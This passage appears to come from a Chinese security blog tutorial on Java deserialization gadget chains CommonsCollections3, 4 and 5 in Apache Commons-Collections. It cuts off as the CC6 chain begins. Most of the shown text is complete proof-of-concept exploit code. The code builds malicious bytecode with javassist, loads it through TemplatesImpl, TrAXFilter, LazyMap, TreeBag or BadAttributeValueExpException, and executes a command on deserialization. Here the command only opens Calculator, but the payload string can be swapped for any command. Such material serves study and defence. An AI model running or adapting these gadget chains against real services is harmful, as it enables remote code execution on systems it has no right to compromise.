    </dependencies>

</project>

前置知识

TrAXFilter

这个类的构造函数中调用了(TransformerImpl) templates.newTransformer(),免去了用InvokerTransformer手工调用newTransformer()方法。

undefined

InstantiateTransformer

上面虽然直接调用了newTransformer(),但是缺少了InvokerTransformerTrAXFilter的构造方法也是无法调用的,因此这里利用Commons-Collections提供的org.apache.commons.collections.functors.InstantiateTransformer来通过反射创建类的实例,transform()方法接收一个Class类型的对象,通过getConstructor()来获取构造方法,并通过newInstance()创建类实例。

undefined

CommonsCollections3 分析

CommonsCollections3链其实是CommonsCollections1链和CommonsCollections2链的结合,为了绕过⼀些规则对InvokerTransformer的限制,CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,根据上面的前置知识,可以利⽤InstantiateTransformer()来调⽤到TrAXFilter()的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码,这样就比避免使用InvokerTransformer

package CommonsCollections3;

import java.io.*;
import java.lang.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/29 10:33 下午
 */
public class TrAxFilterDemo {

    public static void trAxFilterDemo() throws IllegalAccessException, NoSuchFieldException, NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = classPool.makeClass("Evil");
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetByteCode = new byte[][]{shellCode};

        TemplatesImpl templates = new TemplatesImpl();
        Class c1 = templates.getClass();
        Field _name = c1.getDeclaredField("_name");
        Field _bytecode = c1.getDeclaredField("_bytecodes");
        Field _tfactory = c1.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(templates, "h3rmesk1t");
        _bytecode.set(templates, targetByteCode);
        _tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        outerMap.put("d1no", "web");
    }

    public static void main(String[] args) {
        try {
            trAxFilterDemo();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

TransformedMap

package CommonsCollections3;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/29 9:38 下午
 */
public class CommonsCollections3TransformedMap {

    public static void CC3() throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellByteCode = ctClass.toBytecode();
        byte[][] targetByteCode = new byte[][]{shellByteCode};

        TemplatesImpl obj = new TemplatesImpl();
        Class _class = obj.getClass();
        Field _name = _class.getDeclaredField("_name");
        Field _bytecode = _class.getDeclaredField("_bytecodes");
        Field _tfactory = _class.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(obj, "h3rmesk1t");
        _bytecode.set(obj, targetByteCode);
        _tfactory.set(obj, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "d1no");
        Map map1 = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object object = constructor.newInstance(Retention.class, map1);

        try {
            // 序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(object);
            objectOutputStream.close();

            // 反序列化
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC3();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

LazyMap

package CommonsCollections3;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 1:20 上午
 */
public class CommonsCollections3LazyMap {

    public static void CC3() throws CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException, ClassNotFoundException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = pool.makeClass("Rvil");
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetShellCode = new byte[][]{shellCode};

        TemplatesImpl templates = new TemplatesImpl();
        Class _class = templates.getClass();
        Field _name = _class.getDeclaredField("_name");
        Field _bytecode = _class.getDeclaredField("_bytecodes");
        Field _tfactory = _class.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(templates, "h3rmesk1t");
        _bytecode.set(templates, targetShellCode);
        _tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map map1 = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, map1);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);

        try {
            // 序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(handler);
            objectOutputStream.close();

            // 反序列化
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC3();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

调用链

AnnotationInvocationHandler.readObject()
   Map(Proxy).entrySet()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()

总结

利用AnnotationInvocationHandler在反序列化时会触发Mapget/set等操作,配合LazyMap在执行Map对象的操作时会根据不同情况调用Transformer的转换方法,利用了InstantiateTransformer实例化TrAXFilter类,并调用TemplatesImplnewTransformer方法实例化恶意类字节码触发漏洞。

 

CommonsCollections4链

环境搭建

  1. JDK版本:JDK1.8u66(暂无版本限制)
  2. Commons-Collections4版本:4.0

利用maven来进行搭建,先创建一个Maven项目,不用选择任何Maven模板,pom.xml中内容如下,之后选择右侧的更新,让其自动导入包即可。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>commons-collections</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

</project>

前置知识

TreeBag & TreeMap

CommonsCollection2中,使用了优先级队列PriorityQueue反序列化时会调用comparatorcompare方法的特性,配合TransformingComparator触发transformer,按照这个思路找到另一个提供排序的类TreeBag,其在反序列化的时候会调用比较器。

Bag接口继承自Collection接口,定义了一个集合,该集合会记录对象在集合中出现的次数,它有一个子接口SortedBag,定义了一种可以对其唯一不重复成员排序的Bag类型。

undefined

undefined

TreeBag是对SortedBag的一个标准实现,TreeBag使用TreeMap来储存数据,并使用指定Comparator来进行排序,TreeBag继承自AbstractMapBag实现了SortedBag接口,初始化TreeBag时会创建一个新的TreeMap储存在成员变量map里,而排序使用的Comparator则直接储存在TreeMap中。

undefined

undefined

在对TreeBag反序列化时,会将反序列化出来的Comparator对象交给TreeMap实例化,并调用父类的doReadObject方法进行处理。

undefined

doReadObject方法中会向TreeMapput数据。

undefined

对于这种有序的储存数据的集合,反序列化数据时一定会对其进行排序动作,而TreeBag则是依赖了TreeMapput数据时会调用compare进行排序的特点来实现数据顺序的保存。

undefined

而在compare方法中调用了comparator进行比较,以使用TransformingComparator触发后续的逻辑。

undefined

Commons-Collections4 分析

POC-1

该利用链沿用了CommmonsCollections3链利用TrAXFilter类的构造函数去触发TemplatesImpl#newTransformer加载恶意字节码的方法,沿用了CommonsCollections2链通过PriorityQueue触发TransformingComparator.compare()进而调用传入的transformer对象的transform方法。

package CommonsCollections4;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 10:55 上午
 */
public class CommmonsCollections4PriorityQueue {

    public static void CC4() throws CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetCode = new byte[][]{shellCode};

        TemplatesImpl obj = new TemplatesImpl();
        Class clazz = obj.getClass();
        Field _name = clazz.getDeclaredField("_name");
        Field _bytecode = clazz.getDeclaredField("_bytecodes");
        Field _tfactory = clazz.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(obj, "h3rmesk1t");
        _bytecode.set(obj, targetCode);
        _tfactory.set(obj, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue, transformingComparator);

        try {
            // 序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(priorityQueue);
            objectOutputStream.close();

            // 反序列化
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC4();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

POC-2

相较于POC-1,这里使用TreeBagTreeMap来替代PriorityQueue进行构造。

package CommonsCollections4;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 11:26 上午
 */
public class CommonsCollectionsTreeBag {

    public static void CC4() throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetCode = new byte[][]{shellCode};

        TemplatesImpl obj = new TemplatesImpl();
        Class _class = obj.getClass();
        Field _name = _class.getDeclaredField("_name");
        Field _bytecode = _class.getDeclaredField("_bytecodes");
        Field _tfactory = _class.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(obj, "h3rmesk1t");
        _bytecode.set(obj, targetCode);
        _tfactory.set(obj, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        TreeBag treeBag = new TreeBag(transformingComparator);
        treeBag.add(obj);

        try {
            // 序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(treeBag);
            objectOutputStream.close();

            // 反序列化
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC4();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

调用链

PriorityQueue:

PriorityQueue.readObject()
    TransformingComparator.compare()
        *ChainedTransformer.transform()
                InvokerTransformer.transform()
                    InstantiateTransformer.transform()
                        TemplatesImpl.newTransformer()

TreeBag:

org.apache.commons.collections4.bag.TreeBag.readObject()
    org.apache.commons.collections4.bag.AbstractMapBag.doReadObject()
        java.util.TreeMap.put()
            java.util.TreeMap.compare()
                org.apache.commons.collections4.comparators.TransformingComparator.compare()
                        org.apache.commons.collections4.functors.InvokerTransformer.transform()

总结

使用PriorityQueue反序列化时触发的TransformingComparatorcompare方法,就会触发ChainedTransformertranform方法链,其中利用InstantiateTransformer实例化TrAXFilter类,此类实例化时会调用TemplatesImplnewTransformer实例化恶意类,执行恶意代码。

TreeBag代替PriorityQueue触发TransformingComparator,后续依旧使用Transformer的调用链。

 

CommonsCollections5链

环境搭建

  1. JDK版本:JDK1.8u66
  2. Commons-Collections版本:3.1

利用maven来进行搭建,先创建一个Maven项目,不用选择任何Maven模板,pom.xml中内容如下,之后选择右侧的更新,让其自动导入包即可。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>commons-collections</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

</project>

前置知识

TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry是一个Map.Entry的实现类,它绑定了底层mapEntry,用来使一个map entry对象拥有在底层修改map的功能。

undefined

TiedMapEntry中有一个成员属性MapTiedMapEntrygetValue()方法会调用底层mapget()方法,可以用来触发LazyMapget,继续跟进分析,发现TiedMapEntryequals/hashCode/toString都可以触发。

undefined

测试代码:

package CommonsCollections5;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 1:47 下午
 */
public class TiedMapEntryDemo {

    public static void TiedMapEntryDemo() throws NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetCode = new byte[][]{shellCode};

        TemplatesImpl obj = new TemplatesImpl();
        Class clazz = obj.getClass();
        Field _name = clazz.getDeclaredField("_name");
        Field _bytecode = clazz.getDeclaredField("_bytecodes");
        Field _tfactory = clazz.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(obj, "h3rmesk1t");
        _bytecode.set(obj, targetCode);
        _tfactory.set(obj, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map, 1);
        tiedMapEntry.toString();
    }

    public static void main(String[] args) {
        try {
            TiedMapEntryDemo();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

BadAttributeValueExpException

javax.management.BadAttributeValueExpException类中,当System.getSecurityManager() == null或者valObj是除了String的其他基础类型时,都会调用valObjtoString()方法,利用这个触发点来配合前面的TiedMapEntry完成链子的构造。

undefined

CommonsCollections5 分析

利用上面两个前置知识的触发点,配合LazyMap就可以完成一条新的攻击路径,也就是CommonsCollections5链。

POC-1

package CommonsCollections5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 1:59 下午
 */
public class CommonsCollections5Gadge1 {

    public static void CC5() throws ClassNotFoundException, NoSuchFieldException, IOException, IllegalAccessException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry  tiedMapEntry = new TiedMapEntry(map, "h3rmesk1t");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("h3rmesk1t");
        Class _class = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = _class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        try {
            // 序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(badAttributeValueExpException);
            objectOutputStream.close();

            // 反序列化
            ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC5();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

POC-2

package CommonsCollections5;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 2:47 下午
 */
public class CommonsCollections5Gadge2 {

    public static void CC5() throws CannotCompileException, NotFoundException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetCode = new byte[][]{shellCode};

        TemplatesImpl templates = new TemplatesImpl();
        Class clazz = templates.getClass();
        Field _name = clazz.getDeclaredField("_name");
        Field _bytecode = clazz.getDeclaredField("_bytecodes");
        Field _tfactory = clazz.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(templates, "h3rmesk1t");
        _bytecode.set(templates, targetCode);
        _tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "h3rmesk1t");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("h3rmesk1t");
        Class _class = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = _class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        try {
            // 序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(badAttributeValueExpException);
            objectOutputStream.close();

            // 反序列化
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC5();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

调用链

BadAttributeValueExpException.readObject()
   TiedMapEntry.toString()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InvokerTransformer.transform()

总结

反序列化BadAttributeValueExpException调用TiedMapEntry#toString,间接调用了LazyMap#get,触发了后续的Transformer恶意执行链。

 

CommonsCollections6链

环境搭建

  1. JDK版本:JDK1.8u66(暂无限制)
  2. Commons-Collections版本:3.1

利用maven来进行搭建,先创建一个Maven项目,不用选择任何Maven模板,pom.xml中内容如下,之后选择右侧的更新,让其自动导入包即可。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>commons-collections</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
